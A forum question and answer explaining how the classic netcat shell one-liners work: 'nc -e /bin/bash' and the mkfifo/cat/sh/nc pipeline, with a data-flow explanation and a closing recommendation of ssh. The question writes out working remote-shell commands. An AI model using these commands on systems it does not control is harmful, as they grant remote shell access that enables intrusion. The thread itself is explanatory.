There was a simple way to connect two systems and getting a shell using nc command as below.

  • Machine A to listen

    nc -nlvp 4444
  • Machine B to connect

    nc 4444 -e /bin/bash

However, the -e option is no more, The man pages recommends following as below to execute commands

  • Machine A to listen

    nc -nlvp 4444
  • Machine B to connect

    rm /tmp/f
    mkfifo /tmp/f
    cat /tmp/f | /bin/sh -i 2>&1 | nc 4444 > /tmp/f

I do know the concepts behind mkfifo (named pipes) and how redirection and piping works. But it still confuses me.

1 Answer 1


Let's think in standard streams, stdin and stderr for a minute.

nc 4444 >/tmp/f

The stdout stream of nc gets duplicated to /tmp/f fifo, which means whatever it receives from the other machine over the network goes there. So where does stdin comes from ? From /bin/sh -i 2>&1. As far as nc is concerned, it just has to send that data back to the other machine.

Well, what does /bin/sh -i do ? It invokes interactive shell - the one where you type commands and print output to stdout. The user@host prompt is typically (if not always) printed to stderr, but we need to send that to remote machine, hence 2>&1 redirection is applied to send the prompt via pipe. Well, we can't use stdout to print the output - the shell has to send that to nc 4444 to be sent over the network. We can't read stdin either - cat /tmp/f will be using that to print whatever command is issued from the machine A in your example. Piping commands to the interactive shell isn't anything particularly special - when stdin is rewired an application isn't aware of it unless it is actively checking.

$ echo 'df' | sh -i
$ Filesystem     1K-blocks     Used Available Use% Mounted on
udev             4000944        0   4000944   0% /dev
tmpfs             805348     1400    803948   1% /run
/dev/sda1       28717732 25907684   1328188  96% /
tmpfs            4026732    97496   3929236   3% /dev/shm
tmpfs               5120        4      5116   1% /run/lock
tmpfs            4026732        0   4026732   0% /sys/fs/cgroup
/dev/sdb1      115247656 99204832  10165476  91% /mnt/ubuntu
tmpfs             805344       32    805312   1% /run/user/1000
sh: 1: Cannot set tty process group (No such process)

So to put it briefly, shell reads commands from fifo and sends commands over the network via pipe to nc. The commands sent from remote to local shell are written by nc to the fifo. And so the loop goes on and on. The text-based data-flow diagram below also summarizes the same information

                             input data
                                  ||  /\
             (in via network)     \/  || (back via network `/bin/sh` via nc`)

cat /tmp/f  == > /bin/sh -i 2>&1 ==> nc 4444 ==>  /tmp/f ==||
  /\                                                                   ||
  ||                                                                   \/

On the tangent note, notice that making a 3-command pipeline like that allows us to spawn these commands in one go (although the order is not guaranteed) in a much less convoluted way. If we were to do this manualy and have all as foreground processes, nc would have to be started first to listen in one shell, cat in the other shell, sh in the third. For the time it takes us to prepare them, it would block either read or write from the named fifo file /tmp/f, and it would also raise a question of how to sent output from cat to /bin/sh and from /bin/sh to nc , which may also add more named pipes. Using a pipe does three fork() calls, and three exec() calls in one shell, and allows us to make them all talk via file descriptors; regardless of the order in which they may start - this is much faster and less convoluted, though not the easiest to understand without knowing how pipes,file descriptors, and the commands behave.

IMPORTANT NOTE: traditional nc as protocol doesn't provide any security of information - commands and their output are transmitted over network in plain text and an attacker could potentially modify the data between machine A and B. If you do want to have secure way to issue commands to the remote machine via its shell - use ssh. The ssh protocol was designed specifically for that purpose. If you do intend to use secure protocol use openssl or ncat.


You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .